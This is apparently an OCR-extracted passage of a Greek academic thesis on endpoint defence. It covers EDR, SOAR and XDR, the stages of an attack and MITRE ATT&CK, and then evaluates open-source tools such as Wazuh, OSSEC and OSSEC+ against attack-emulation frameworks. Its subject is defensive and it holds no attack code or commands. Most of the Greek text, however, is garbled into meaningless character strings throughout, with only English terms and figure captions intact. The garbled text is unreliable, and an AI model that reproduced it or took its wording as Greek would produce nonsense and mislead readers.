ypnowonoiowvtag  texvoroyieg Threat Intelligence wou Artificial Intelligence, aviyveder vmomteg
CLUTEPLPOPEG. MTopEl Vo, avTIHETOTIGEL TO TPOPANU TV insiders,dev umopel OUMG va. TPOCTATEYEL £val
Endpoint.Twa. vo. Asttovpynoet anotelecpotikd o EDR ypetdletor peyddn ouddo ac@oleiog Kot cmoth

napapetponoinon. Kard cuveneio amgvbivetal pdévo 6€ opiopévong opyavioponc.

Ta EPP kot EDR d¢gv elvar teyvoloyieg mov akupmvouv 1 pie, TN GAAT. Zav YEVIKN apyn 1 TPOANYM
elvat TpoTudTEPT TNG AVIHETOTIONG, KTl oV Kab1otd T0 EPP onpavtico. To EDR propei oe opretég
TEPIMTAOGCELG VO, AVTILETOTICEL Kot EEMTEPIKEG OMEINES, AV OH®G Eva apyeio €yl poAvvBel amd 10 dev eivat

N evoederypévn Aoon.

[davikd ot 6vo TeXVOLOYiEC TPETEL VA, XPTGLULOTOIOVVTOL GLVOVAGTIKA. AvTd TavTa e€aptdtal and
TOVG TOPOLG TOV OPYOAVIGHOD, TO dlefEGILO avOpdOTIVO dUVALO KoL TO ETXELPTGLOKO PIGKO OV TPEMEL VAL
dwyeplotody. Ta televtaion ypdvie o1 etarpeiec mov €yovv myetikn 0éom otV ayopd Tng
KuPepvoacpaielog  mPoTEivOLY OAOKANPOUEVEG ADGEC Tov ocuvovdlovv dvvatdtnteg EPP kot

EDR(CheckPoint Harmony, Crowdstrike Falcon)
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ABILITY TO EXECUTE
E's
]

COMPLETENESS OF VISION As of May 2021 © Gartner, Inc
Gartner

Ew.4 — Gartner 2021 Magic Quadrant for Endpoint Protection Platforms

1.5. Xvotquota Security, Operations Automation and Response
(SOAR)

Zougova pe tov Gartner, ta cuoTHpOTO SOAR[M1 (Security, Operations Automation and Response) givat

vAomomoelg Tov cvvdvalovy vanpeoiec dwayeiplong mepiotatikdv acpaieiog (Incident Response),
evopynotpwong dadikactdv (Workflow Orchestration), avtouatonoinong evepysiov (Automation) ko

dwayeiprong anethmv (Threat Intelligent Management).

Elements of Security Orchestration,
Automation and Response (SOAR)

Threat Intelligence
Ingests and analyzes
data

Orchestration
Connects and integrates

Automatio
. Automates low-level
disparate tools ey

\anual processes

Ew.5 - Baowka otovyeio teyvoroyiog SOAR — PALO ALTO

H viomoioeig SOAR dev givon kdtt kawvovplo oto ydpo tov Security Operations. Eival péAiov
OmoTELECUO UG EEEAMKTIKNG Ol0dIKAGIOG TTOV £XEL OC OMOTEAEGUN, TOV GUYKEPUGUO 3 TOPOUSOCIOKDV

TEYVOLOYLDV LE OLOKPLTE, £0C CNUEPD, OPLO. KOL EPAPLOYT.
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. IMioteoppeg doyeipiong mepiotatikav (SIPRS)
. IMAatedppeg VTOROTIONOD Kot evopynotpwong dtadikaotdv ( SOAS)

. Matedpueg dayeipiong ansiddv (TIPS)

SOAR Convergence of Three Technologies (SIRP, SOA and TIP)

@ =

Security Incident Response Security Orchestration
Platforms (SIRPs) ‘ and Automation (SOA)
» Case/Incident Management + Integrations
- Workflows + Play/Process/Workflow
« Incident Knowledgebase Automation

+» Playbook Management

L] 4
&=

Threat Intelligence Platforms (TIPs)
« Tl Aggregation, Curation, Distribution

« Alert Enrichment
« Tl visualization

E1k.6 - Teyxvoroyieg o€ vhomoinon SOAR — Gartner 2022

Kdévovtag avdivon oe kdbe évo amd Tovg 0pods, MAIPVOLLE Lo EKOVE TOV VINPECIOV TOV

napéyovion amd pa vionoinon SOAR.

1.5.1.  Security Orchestration

AmoteAel TN S10ElPIOT) KOl TO GUVTOVIGUO OGS GEIPAG EVEPYELDY GE VO OIKOGVGTI LN TTANPOPOPLADV, LIE TN
xpNon M v cvpuetoyn texvoroyiag machine learning.Avtd t divel t dvvatotnro, Gote pyoleio Kot
AOoELG amd JLUPOPETIKOVG KATACKEVOGTES KOl OLLPOPETIKES GTOYOVG VO GLVEPYAGTOVV UETAED TOVG KOl VoL
avtopotononfovv dwdikaciec. Xe o oA TEPIMTOOY EMUIPEMEL GTNV OUAdO OCQOAEiNG, Vo
avTopatonomoel cLVBETEG Sradikacieg petal&d dopopeTikmy texvoroyidv (éva Firewall, Windows Active

Directory, Threat Management Platform).
2T1¢ 0VGLOTIKA YopakTnplotikd tov Orchestration, dwakpivouvpe :

o Tnv wavotta va ene&epyaletan mAnpoeopieg omd drapopetikég aveEdptnteg myeg Orchestrator
oLVOLALEL TANPOPOPia amd SLOPOPETIKEG TNYES KO TIG UETATPENEL GE LOPPT TOV Elval KaTavonTy omd TV

TAOTQOPLLOL.
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o HMyn anopdoemv yivetal ue t ypnon Playbooks, dote vo amhomoteiton kot vo emttaydveTon
1 S elplon TEPIOTATIKAV.

e Tnv 1coppomMuévr CULUUETOYN OVTOUOTIGUMY HE YPNOYN UNYOVIKNG AOYIKNG Kol TOL
avbponivov mapdyovia. Te TOAAEG TeptTdoels 1 a&loldynon evog mepiototikov ( triage)
UTOPEl VO 0UTOHOTOTTONOEL e YpoN LOVO UNYOVIKNG AOYIKNG. 1€ TEPITTOOT OUMG TOV UIdL
amoQaot 0o LTopoOGE Vo 00N YNOEL O OMMAELN LA VIINPEGIOG, Y10 TNV OTOPACT] ATOLTEITOL

1 GUULETOYN] TOV AVOAVTOV OCQOAEINS.

1.5.2.  Security Automation

H ovtouatonoinon tov dwdikacidv oe va Security Operation Center (SOC) eivor o dvvatdtnto
ueyding onuociog. Emitpénel otoug avolvtés acpoieiag , oladkacieg TIG 0moleg TIg omoieg TPEMEL va
EMAVOLOUBAVOLY GLUVEXDG, Va TIG avTopatorocovy. H avtopatomoinon yivetou pe ™ ypnon Playbooks.
Ta playbooks sivar kotoysypoppéveg, dounuéve S1adkaciec, Ol 0TOIEG OMOTLIMVOLY Ta. PrILOTO TOV
TPEMEL VO TPy LotontonBovv  Tpokelpévon va amopaviel o opddo SOC av éva mepiotatikd amoteAel
napoPiocn aceodreiog n oyl H Aertovpyio tov SOAR eival dppnita cuvoedenévn e TV xpnon Tov
Playbooks ka1 o faduog anddoong tov avoloymg g motdtnta tov Playbooks.

H Soun tov Playbooks otnpiletar oe avoyvopiopéve mpdtume. Sloyeipiong mepIoTaTIKGV
acpodeiag, 6mwg to NIST Computer Security Incident Handling Guide 800-61 ot to SANS Incident

Framework kot dapeiton otig €€1g pdoeis :
o Ilpoctopacio (Preparation)
e Avayvaopion (Identification)
o Ilepropiopovg (Containment)
o Avtipetddmon(Eradication)
e Avdakapym (Recovery)
o Lessons Learned

Me tov TpOTo aVTO HEIMVETOL dpacTIKd 0 Xpdvog aviyvevong MTTD (Mean Time to Detect) kot o

pécog ypovog amoxpiong MTTR (Mean Time to Respond) mepiototikdv.
‘Eva mopadetypo anotundvete otny nepintmon aviyvevong Phasing, otov emduevo mivaka.

H dwdikacia yopic m ypnon epyoreiov SOAR amartei 75 Aentd, evd pe ) ypnon Playbook

nepropileton ota 2 AenTd.
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Phishing Investigations

3-5 mins 3-5 mins 40 iy 20 miaw 3-5 mins 5-10 mins 5 mins 5-15 mina > U0 ]
Check URLs Analyze Scan user Search Block Al
ert Blackhole
giecit:' and what's endpoint for for similar incoming employees DNS ;?;_AT'; I":f;
other loCs suspicious malware emails mail
' D- L D> '0) > > ! > ! D- > ‘ > 2 mmutes.

Before Automation

After Automation >

Human Decision @

Ew.7 — Xpovog avripetdmiong aneiig pe ypiion SOAR, 2022 Palo Alto

1.5.3.  Security Response

Me 1 ¥p1on TOV CVTOUOTOTOMUEVEV SLdKAGIOV acPaieiog, oxedialetonr Kot ekTeEAOVVTOL SLAPOPES
EVEPYEIEG MG OMAVINGT] GE TEPIOTATIKA acpaAeiog. Avtd emruyydvetal pe T yp1oN TPOoKaboplouEvaY
Kovovov. Iapaderypo T€T010v EVEPYELOV AMOTEAEL 1| OITEVEPYOTTOINOT EVOG PN OTN, 1 00oTOAN email oe
éva ypnotn 1 daypagn evoc kKAEW100 ot registry. To koppdtt g andkpiong eivar eEapetikd Kpioo Kot
amoTEl 1G0PPOTIO. AVOUESH GTNV aVAUIEN TOL AvOPOTIVOL TOPEYOVTOL KAl TV CUUUETOYN TNG UNYXOVIG,
eW0WKh og evéPYelEC MOV UNOPEl va TPOKAAEGOLY amMAEW VANPESIOV. Ot EVEPYELEG TOV UTOPOLV Vo
extehectovv kabopilovtor kot meplopiloviol amd T GLYKEKPIUEVT TAATEOPUA, Kot and o Pabud ctov
omoilo pmopel av cvvepyaotel pe oAAG mEpLpepikd epyolein aceaieiag. e kabe mepimtwon, Kopio
TATEOpUO dev Umopel va. ekteAécel Oleg TIC TOaveg evépyetec. O otdyog TavTo, gival vo emttayvvOel o

Babuog amoKpiong Eva TEPIGTATIKO.
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1.5.4. Tlopdderypa Aettovpyeiog SOAR

210 akdAovbo TaPAdELY O AVOADETOL 1] TEPITTMON OTOUOKPVOUEVIC TPOGPAOTG EVOS YPNOTN.

:
|
|

+ Exping passwond from
. =
WAt Pty

= Sand emall bo user, asking r Peogive e eoly Analys
I-Elnu far passwoed reset » Takg actions based an -
Lbsor Has asar reply
v Failod
Password
Artamprs

[ e |
Lo |
Close Playbook
BT T 8 fepond

Ew.8 - Ponj evepyer@v petd amd morhomrés amoToynpnéves TPoctdieieg cUVOESNS
ypnoty — 2022 Palo Alto

To playbook evepyomoteitat, 6tav 1o ERD 1 10 SIEM otélvel e18omoinon 6t 0 ypnotg Kavet 5
amoTuynuéveg amomelpeg ouvoeons. To SOAR 0éhel va pdbet av mpodkettar yio AAOOC AmOTEPES TOV

xpnot M Yo password attack.
Ztéhver email oto xpriot, potOvTag av £xel Kavetl avtdg TIg amotuynpéves anomepes (Engage).

AVOAOY®OG TNV amdvINGT UTopel Vo KAVEL KATO1ES OVTOLOTOTOMLEVES EVEPYELEG 1] VO ELOOTOGEL

Tov avolotyy. (Analyze)

Av 1 andvinon sivar Betikn, yiveton reset otov kwdikd tov yprotn oto Active Directory, kot Tov

otéhvetan évo email pe £va one time password.

Av 1 oamdvinon, eivor apvntikn, €00molel To ¥pNoTn Yo o mePLoTatiko. Iapdiinia exteiel
épevva e€ayovtag Indicators of Compromise (10Cs), onwg devbivoeig I.P, geolocation, potifo g

enifeong k.An.(Respond)

H ayopd tov cvotqudtov SOAR arevfvvetan oe cuykekpiuévo target group melatdv. Xe mwoADd
UEYOAOLG OPYOVIGHOVC UE TTOAD DPIUEC OladiKocieg acpaleiag, KobmG emiong kol o€ TAPOYOLG

vrnpeoiov MDR (Managed Detection and Response Services).

e moALEg Texvoroyieg omwg XDR, SIEM kou email , vadpyet viomoinon SOAR 1 omoio mapéyeton

ue ™ popen add-on kot e&tpd k66TOG.
v ayopa datifeton n teyvoroyia SOAR a6 moAL0DEC KATUOKELOGTEC:

o Fortinet (FortiSOAR)
o IBM (IBM Security QRadar SOAR)
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o Microfocus (Arcsight SOAR)
o Microsoft (Sentinel)

o Palo Alto (Cortex)

o Rapid7 (Insight Connect),

K0l OPIGUEVEG OPen SoUrce VAOTOGELS:

e Shuffler Community Edition - (https://shuffler.io)

e The Hive - (https://thehive-project.org/)
o WALHOFF — (https://nsacyber.qgithub.io/WALKOFF)

1.6. Zvomuota Extended Detection and Response (XDR)

Me ™ ypnon tov EDR ot opyavicpoi otpilovtar ot mAnpogopicg amd ta endpoint yuo va gygipovv
TEPIOTOTIKG KVPepvoacpdietoc. H mpoypatikdémnto eivar 6t ot kvPepvoemiBécelg Exovv e&elybei,
YPNOULOTOIDVTAG CLVEXDG eEeAoaOEVES LeBOOOVG VD TAPAAANAL O ¥POVOG EVTOMIGUOD Kol ATOKPLONG
toug cvveydg avEdvetat. To XDREIILLL 7n6ympéet éva Pripa mo pmpootd amd to EDR. Tviieyet
TANPOPOPiEg Oyt povo amd ta endpoints, alhd kot amd Tyeg Tov dikTtvoL kat Tyeg omd o Cloud otig
omnoiec epappoler machine learning analytics. Ztoyevet étol va gpmodicel Tig oToyevUEVES emBETELS, Va
EVTOTIGEL E0MTEPIKEG OMAEG KO VoL emdlopBdoet To endpoints mov £yovv TAnyel. Mewbvovtag mopdAinio

T0VG deikteg avtidpaong, o Mean Time to Detect (MTtD) ko to Mean Time to Respond (MTtR).

H Aertovpyia twv XDR Baciletar oe peydro Babud oto EDR. O opiopdg tov Endpoint copemva
ue to Forrester, éyel e&elyfel ko copmephappdavel TAEov ektdg amd oTaduove epyaciog, Kot Servers,
Kwntég ovokevég ko to Cloud.Katd kavova mpoceipetol cav vanpeoio Cloud.Avtd yivetar yo vo
EemepaoTOHV Ol TEPIOPICUOL GE YOPNTIKOTNTA KOl VTOAOYIGTIKY 10Y0 OV UTOPEL Vo VITApYovV og pio ON

premises eykotdotoom

Zoppwvo. pe tov Forrester éva ovotnua XDR opiletor wc: «n e€EMEN tov cvotudtov endpoint detection
and response (EDR), ta. onoia BeATiotonotody Thv aviyvevusn ameti@v, TV Slepedvnot, TV ovIamTOKpion
Ko TNV avalnitnon tinpogopimv og mpaypatikd xpovo. To XDR evomoiel mAnpopopiec acpdielag amd to
endpoints, kot TAnpoopieg amd GAAa epyodeio. aoPAAEING Kol ETYEPHCEDY, OTMS AVAADGT SIKTOOVL
email, Sayeipion tawtdTTAC KAl TPOGPOCNS ¥PNOTOV Kol ao@Areln. VEQOLS. Amotelel po kobopd
VAOTOINGT VEPOULG, EYKOTECTNUEVY GE TEPACTIEG VITOOGOWUEC DGTE Vo eE0CPUAGEL GTIG OUAdES AoPULEinG,

EMEKTAGILOTNTA KOl SUVATOTNTEG Y10 QUTOUOTOTOIN O T®V SLUSTKAGLDV.»
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Ew.9 - Apprekrovikiy XDR - https://www.crowdstrike.com

Ta XDR dwakpivovtol og dvo peydres Katnyopieg:
Ta OPEN XDR 1 HYBRID XDR, xat to NATIVE XDR.

Ta OPEN XDR pmopoldv vo, cuvepyootovv pe gpyaAeio OAmv Tov katackevactdv (Vendor
Agnostic)kot katd cuvéneln ivol TEPIGGOTEPO TAPAUETPOTOMOILLN. AVTO ETLTPENEL GE EVOL OPYOVIGHO VO

YPNOUYLOTOIGEL TO, LITAPYOVTE EPYOLEIR TOV KOL VO TO EVEOUATOCEL TNV TAATEOpLo XDR.

Yty katnyopia tov OPEN XDR n HYBRID XDR avikovv Acelg 6nwg To TRELIX XDR ko
to CrowdStrike

Ta NATIVE NDR, ompilovrtol o€ gpyareio Kot AVGEIS VOGS TOPOS0V. AVTO GUVETHYETAL EVKOATN
oTN ¥PNoN Kot 6TV gyKotdotacn. Etvar katdAinin Adon yio emyelpnoelg pe opoyévela otov eE0TAoUO.
210V avTimoda, eVEXELTO V KIVOUVO VO TOPOVGLUGTOVY KEVA UCPUAELNG, OV KOTOIEG OOLTNOELS AGPUAELNG

dgvV UITopovV va IKavoTotn0ovv amd Tov Tapoyn.
Yv katnyopio vt avikovy Ttpoidvta 6mmg to Microsoft 365 EndPoint kou Palo Alto Cortex.
Ta yapaxmpiotikd evoc XDR weptloufavouv:

e Ikavotmrta va cvAAeyei TAnpogopieg and dapopetikéc nryeg (EndPoints Network Devices 10T
Cloud, Third Parties) kot va tig eme&epyaleta.

o T[lapéyetl axpiPn cuoYETICUO TOV TANPOPOPLDY OO TIC TNYEG, ONLUOVPYADOVTOS TNV aKkpPn pon TG
emibeonc, dev Kdvel amA GLGYETION TOV YEYOVOTMV.

o  Xpnowonotei Al ko Machine Learning Intelligence yio va oynuaticgt oAdkAnpn v oAiniovyia
TV YEYOVOT®OV EVOG TEPLOTATIKOD OCPAAELNG.

o XYvoyertilel ta meprotatikd pe 1o MITRE ATT&CK framework.
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o 'Eyetl duvototnta diepedivnong TepLoToTIKOY aopdAstog (Forensics Investigation).

To XDR, eotiélel o€ V0 TLADVES. LTO TUAMDVA TNG OMOTPOTHG KOl GTOV TUADVE. TG AViXVELONG.

' To Koppdtt Tng amotpomng, Pacileton og epyaieio aopdieiag, dnmg Next Generation Firewall
(NGFW) kot Next Generation AntiVirus (NGAV).Ta epyodeion avtd eviomiCovv amneilég upe ypnom
YVOoTOV vIoyphoov, 1 e xpnon Machine Learning Intelligence, kot tig e€ovdetepwboiv. Aloypdoovtag
N adpavoroldvtag Eva apyeio oty mepintwon tov NGAV, 1| teppatifovtag v 6OVOEsT 6TV TEPITTOOT)
tov NGFW.

Y10 koppdtt g aviyvevons, to XDR cvlleyel nepiotatikd omd to endpoints kot TAnpogopieg
mAgpeTpiog and dAleg mryeg ko epapudloviog Machine Learning olyopiBuovg, amo@oivetar av m
aAniovyio. T@v yeyovotmv mopoméunel n Oyl oe ameldr). [HapdAinio mpayupotonoiel cuoyETion Tng
exOpwkng dpactnpromtog pe to MITRE ATT&CK framework mpootabmvtag vo Ppetl kdmold yvootd

potifo otnv emibeon.

INa va avtidineBovpe koAvtepa Tmg Aettovpyei Evo XDR Ba mpénet va meprypdyoupe Tov KOKAO

{ong o enibeong.

The Attack Life Cycle

Reconnaissance Exploitation Installation Command Lateral Data
and and Control Movement Exfiltration
Weaponization

Ew.10 — Kvkhog {onfg e enifeong — XDR for Dummies, Palo Alto
Avayvopien (Reconnaissance).

2V TpATN, PAoT 0 MTIOEUEVOG KAVEL AVOYVOPLOTIKT EMIBECT) 6TO SIKTLO, OVOKOADTTEL TIG
VANPEGIEG TOL TPEXOVV Kol TOLEG TOPTEG Etval avoryTéG Kot avalnTd evmabeieg Tov cvoyetilovtat pe Tig

VINPEGIEG AVTEG.

To XDR, cuAréyovtag TANpo@opieg amd TV Kiviion T@V GVCKELMY TOV diKTLO, avayvmpilet

OVTEG TIG EVEPYELEG KO UTOdiletl TV ovvdeo).
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Emoy pedodov enifeong (Weaponization)

1 0e0TEPN QAo 0 emTENEVOC emtheyel Tov TpOTO TTov Ba emitebei Ko Tov Ba peTapépet To

KakdPovAo Aoyioukd oto Bopa (email, Cloud drive, k.Ax.).

Avt 1 edon gival o SVGKOAN Vo, AVTILETOTIGTEL, YioTl TpoeTOAleTal 6TO diKTVLO TOV

emtifepévov.

To XDR enyeipei va gpmodicet aut T Ao, £X0VTag TANPOPOPIES Yo EMKIVOLVA Site,
emkivovves epappoyés, IP dievBiveoeig pe kaxn enun kot tapakorlovbmvtag TapdAinio tnv
ovumePLPopd twv endpoints.

Experaiievon tpototnrog (Exploitation)

Orav 1o kaxoPovro Loyiopukd mapadobei oe Eva ypotn, uropel evepyomondel ToTdVTOG Yo

Topaderyra Eva vITEPGVUVIEGHO. AVTO Ba emtTpéyel 6TOV EMTIOEUEVO VO EKTELEGEL ATOUOKPLGUEVHL

KOOKA, EKUETOAAEVOUEVOC 10, YVMOGTH EVTAOELD LLOG EQAPLOYNG.

To XDR, gumodilel tn @don avtr], 0101l umopel vor KAvel Sidyvon evmadeudy 6TO OIKOGVGTI O
ov TpExeL. Me yprion voypdewv 1| T xprion aAyopiBuwov avaivong, aviyvedel YvmoTd Kot dyveooTa

Malware. Eeapuodlovrog teyvikég Threat intelligence, umopei ko aviyvevet 0-day embéoeic.

[opdTt VITAPYOLY YIAAOEG KAKOBOVAN AOYIGHLK(, OLO. EXIKEVIPOVOVTOL GE EVOL LIKPO aplOpd

TEYVIKAOV TOV EULQAVILOVTaL [LE TOPUAAAYES.
Avafadmen dikaopdrov (Privileges escalation)

>t @don ovtr, 0 eMTIOEUEVOG EMYEIPEL VO, ATOKTNOEL SLOYEPIOTIKG SIKUIDUATO GE £V

ocbotnua, Ue TV gykotdotacn evog root Kit yio mapdaderyua.

To XDR cuykeviphvel TAnpoeopieg and ta. endpoints kow amd teyxvoroyieg End Point Protection,

KOl OTOTPETEL TV EYKATAGTAGT TOL AOYIGUIKOD.

Command-and-control

O emtBépevoc emyEPel va 3PUALDGEL EVOL KPLTTOYPUPNUEVO KOVAAL ETKOWVOVING LE TOVG
Command-and-control servers wov dwoyeipiletat. To Prjpo avtd givor ovelacTIKO Yo TNV enifeot, 610TtL

UEGO oo TO KavAaAl KatevBuvetal OAN 1 enibeo.

To XDR, emyeipei va gpunodicel 1o fpa ovtd, Tapakorovddviag OAn ) Kivnon tov diktHov

(ka1 g kpumroypaenuévn). Eumodilel v encowvmvio pe ta kaxdpovia URL ko I.P dievfdvoers.
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Eniong, mapaxorovbei tnv kivinon DNS, avalntovrog kaxoépovio DNS Domains.Emumiéov
avakatevfover v ot kiviion oe HoneyPots, dote va avaAvbel kot amopovmbovv to endpoints mwov

&yovv mapoPlocTei.

2. MebBodoroyia Epgvvag

2.1. TThateopua eopoimonc embécewv

H épevva atoyevel oy a&loddynon Open Source Abcewv oto yopo tv EDR.

H a&oroynon eotidlel oty duvatdttd Tov epyareimv Vo, aviyveDouy Kol VO K0T YOPLOTOL00V
emikeipeveg yvmotég embéocic. H katnyoplonoinon tov emifécemv o eminedo TOKTIKNAG, ONAMOT TOV
OVTIKEYEVIKO GTOYO TOL EMTIOEUEVOD, OANG KoL TEXVIKNG TTOV YXPNOCLLOTOONKE, €yve UE YPNON TOL

framework MITRE ATT&CK. [,

To MITRE ATT&CK amote)el fdor dedopévav, TEXVIKOV TOL £XOVV EQUPHLOCTEL GE TPUYUATIKES
embéoers. ' k6Oe Prpa g TaxTikng g emibeomg, avtioToryilovtol ot TeXVIKEG OV UTOPOvV Va
¥pNooTonfovv yuo va tethyovv to embouunto anotéhespo. Kottodvtag fabutepa otovg cuviésovs Tov
Matrix, yiveton meptypopn TV ETUEPOVE TEXVIKMV, TOV TPOTO TOV UTOPOVV VO EVIOTIGTOVV KOl TOV TPOTO
va ovipetomiotovy. To framework £€yetl yiver eapetikd dnpoeiriég ta televtaio ypovia, Ko moArol
kataokevaotéc EDR kot XDR ongddovy va eVOOUOTOGOLV GTA YOPOKTNPIOTIKA TOV TPOIOVI®MV TOVG TN
duvatomta va avayvopilovv embéoelg Paciopéva oto framework MITRE ATT&CK. Onwg yuo
napddetypa n CrowdStrike kou 1 TrendMicro ot oroieg Bewpohvton NyEteg 6T CLYKEKPLUEVT] TEXVOAOYIOL.
Emuiéov, moAld epyaieio. Open Source éxovv mpocBicetl autn T SuVATOTNTO GTO, YAPUKTNPIGTIKA TOVG.
Q¢ yevikn mopotpnon, o framework umopei vo, amoterécel Eva moAd kaAd epyodeio yio TNV eKmaidsvo
EOIKMY GTO YMPO NG 0oPiAeLnG, Kot uio, pEBodo va a&loroyndel 1 OTOTEAECUATIKOTNTO T®V EPYOLEIDV

0oQPUAEING GE EVa TANPOPOPLAKO GVGT AL

Mo v e€opoinon tov enBécemv VIAPYOVY apPKETA dNUOPIAN epyaieio (Adversary Emulation
Tools). To MITRE Caldera, katackevaouévo and v MITRE, to Atomic Read Team kot to Read Team

Automation.

To Atomic Red team &ivai éva gpyaleio mov tpéyel o€ Power Shell, o€ mepipdArov koveorag. Aev
ypetdletar eykatdotaocn. Amatteitat povo va yivet eilcaywyr tov Invoke-AtomicRedTeam module. TTapéyet
emulation tests yio Windows Linux kot macOS. Aev voleinetal oe TANpOTTA test o oyéon pe ta GAAo

dvo epyaleio.

31



To Red Team Automation (https://github.com/endgameinc/RTA) and v EndGame eivor éva
epyoreio e&opoimong mov vrootpiletan omd v Elastic.io. Zmpileton oty extédeon python scripts. Agv
dtab€tel Ypaeikd mepPaiiov kot BEAEL GLUYVA TOPAUETPOTOINGT], KATL TOL TO KAVEL dHOGYPTGTO YO TNV

épeuval.

To Caldera MITRE eivan éva epyodeio eopoimong embécemv ypapupévo and v MITRE. Awfétet
YPapKd mepBdAlov dayeipiong, €xel dSuLvATOTNTO ONUOVPYING TPOPIA TOL EMTPEMEL TNV TAVTOYPOVT
extéheon moAlmV teot. [a va emikotvovioet pe ta endpoints ypnotponoiel agents. Mmopel va ekteAécel
Vv eniBeoT AmOpOKPVOUEVA. XTO YPaEKd TEPPAALOV amelkovieTal av TO TEGT NTOV ETTVYNUEVO 1] O

KaOdG Kot 1 outia.

To CALDERA pmopei va gktedéoet aveEdptnrta 1e0T 1 va eEopotdoel ohokAnpeg embéoeic. [

TO OKOTLO TNG £PELVOG OMOTEAEL TNV KAAVTEPT ADOT.

2.2. XVOTNUOTO TOV GUUUETEYOVV GTNV 0E10A0YN oM

INo v emoyn tov software mov Ba agloloynBovv éywve épevva oto Internet. Katd v €peguva
dlmotddnke OTL 0ev VIAPYOLY TOAAES Olabéaeg emAoYES, Kot omd TG OabEaies, Alyeg glval apketd
oplues yuo va ypnotponomBoiv o éva emayyelpotikd tepifdiiov. Ot Avoelg mov mpokpidnkav ivar ot

e€ng, kaOe pia yio dSrapopeTIKovg Aoyoi .
22.1. WAZUH

To WAZUH 12givan pio viomoinomn mov eivon apketd kopd oto ydpo. H mpdtn éxdoon Pynke to
2017.Exet éva mOAD OGULVIETOYHEVO OTPOPANUATIOTO TPOTO EYKOTAGTAONG, Kol LROGTNPILEl TOAAGL
Aerrovpyikad ovotipoto. Eivat pépog tng dnuoeihode covitag Security Onion. To Security Onion amoteAet
o Open Source dwavounr] yio threat hunting, monitoring kot log management. ITeptlaufdver kot aiAd 3ed-

party epyaieio 6mwg ta Elasticsearch, Logstash, Kibana, Suricata, kot Zeek.
To WAZUH e&ivon pia vionoinon Open Source wov diabétet yapoktnpiotikd EDR kot XDR.

H ypnon tov vrokertor ot GNU General Public License, version 2, kot tnv Apache License,
Version 2.0 (ALv2). TTapéyer dvvatomreg yioo log analysis, host intrusion detection, file integrity

monitoring, configuration management, vulnerability assessment.
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Mropel va gykotactadei g poper Stand Lone Server( uotkd unyévnuoe. 1 IKoviKy unyovi) 1
oe Container (Docker v Cubernetics).To WAZUH umopei vo eykataoctadel oe Agttovpyikd cuotipoto
Linux (CentOS, Redhat, Ubuntu Amazon OS).

Awtifeton ko pior epmopikn €ékdoomn M omoio, cvvdvalel to Wazuh pe 1o Elastic Search kot
npoopépel emmAéov yapoktnplotikd oOnwc Elastic Stack Security features, Kibana alerting. Téhog

dwatifetar Kot ooy vanpecio VEQPOUG.
Ta xOplo TUAROTE TG APYLTEKTOVIKNG TOV giva :

¢ O Indexer, o omoiog amotelel pa pnyavn v text search kot analytics.

e O Server, o omolog avaivet ta dedopéva epapuodlovrag kavoveg kot Threat Intelligence, ywo va
avakaivyetl Indicators of Compromise (10C)

e To Dashboard, omotelei 10 ypapikd mepifdriov oto omoio amekovilovtol TANpoPopieg amd TNV
avéivon tov End Points, ototyelo aocpoleiog kot mANpoeopies yio TV KATdoTaoT Tov Server tov
Agents.

e Agents, ot onoiot givar gykatestnuévol ota Endpoints kot mapéyovv mhnpopopieg otov Server.

Mmropovv va gykatactadolv oe mepifaiiovta Windows Linux macOS Solaris AIX kot HP-UX.

21 pelém ypnopomombnke n €ékdoon 4.3.

Endpoints Wazuh central components
Server :
: : q j W. server cluster
Wazuh agent : i
B Master node : Wazuh users
i : ) ::—. W. dashboard ;
| g IS ; =l . 3 Y
Nodes communication
master- worker
Laptop
: ) W. Indexer
Wazuh agent : : E Worker node /‘
s Wezunindererrode
Cloudinstance : o
®1.n ® 1.n
Wazuh agent 2 %
: : B workernode Wazuh indexer node
wll  wazunagent : :

Ew.11 - Appprekroviky WAZUH, WAZUH
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2.2.2.

OSSEC

To OSSECE4, sHugmva pie 1o site Tov KoTookevaoTy, ivat To o ol ypnotporompévo HIDS

pe mavm arnd 500.000 ke ypdvo. H mpotn £kdoon, oe popeny agent jtav to 2005.

To OSSEC anote)el éva open Source Host-based Intrusion Detection System (HIDS) to omoio

umopel va tpéel oe dapopeg mhatpopueg. H ypnomn tov vaodkeital otovg opovg g GNU General Public

License

(version 2). Mnopei va eykatoactadei oe mepipdirov Linux (Fedora Ubuntu,CentOS, Debian)

Amazon Linux. Aéyetar mAnpogopieg amd nepipdiiovta Windows kot Linux.

YOoppmva pe mAnpoeopiec mov avoeépovioar oto Site (https:/www.ossec.net/about/), ota

YOPOUKTNPLOTIKA TOL CLUTEPIAALPAVOVTOL:

Log based Intrusion Detection, mov gvepyd mapokoiovdel kot avolvel dedouEve TAVTOYPOVE, ATd
TOALEG TINYEG o€ Tparypaticol ypdvo.

Aviyvevon Root-Kit kot Malware Software.

Compliance Auditing, arnévavtt sumopikd standards 6mwg to PCI-DSS kot teyvikd standards 6mmg
7o CIS Benchmarks.

File Integrity Monitoring, eAéyyel 6€ TparyLaTiKo ¥pOvo apyeia kot KAWL TG registry yuo oAAoy£g
Kot Stotnpel Kot £va avTiypapo Tov aAAOIdUEVEV dedopévav Yo Aoyovs Forensics.

System Inventory, cuAAeyel mAnpogopieg pécw Twv agents ywo to. endpoints dGov apopd, ypnon
hardware (CPU, pviqun), vanpeoieg ductoov.

Active Response, avtoamokpivetal o enlBécelc 1 aAAaYEG 0TO GUGTNLO GE TPOYUATIKOL ¥pOVO,
YPNOOTOIDOVTAG UNYoviopovs onmg, Koavoveg firewall ko ovvepyacio pe 3rd parties CDNs

(Content Delivery network).

IMo ™ perérn ypnowonomnie n éxdoon OSSEC HIDS 3.7.0

2.2.3.

To OSS

OSSEC+

EC+L3l grotedet pa ovaBéduion tov OSSEC n omoia Stovépeton dopedv and tnv Atomicorp.

e oyéon pe 1o OSSEC, mopéyetl optopéva eEmTALEOV YOPUKTPIOTIKG.:

Machine Learning.
AvVTOA oy TANPOPOPIOV GE TpayuaTikol ¥povo, ue kowvotnteg Threat Sharing.
Emmiéov xavovec.

Svvepyooia pe to ELK stack.
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To OSSEC+ 6¢ ypnoomnotei tov agent tov OSSEC alAd tov agent tov ElasticSearch.

T ™ ¢prion tov, amatteiton va yiver eyypaen oty OSSEC.

Y a&loloynon Ba ypnowonomnke 1 ékdoon OSSEC+ e yprion tov Elastic search 7.17.7
agent, ypaoguo nepipdirov KOFE (https://github.com/ossec/kofe) kot 1 éxdoon OSSEC HIDS 3.7.0 yia

TOV SEerver.

Security & Operations

Configuration ﬁ E-mail Alerts @

AN

-A\\

sotans @ ] vmware

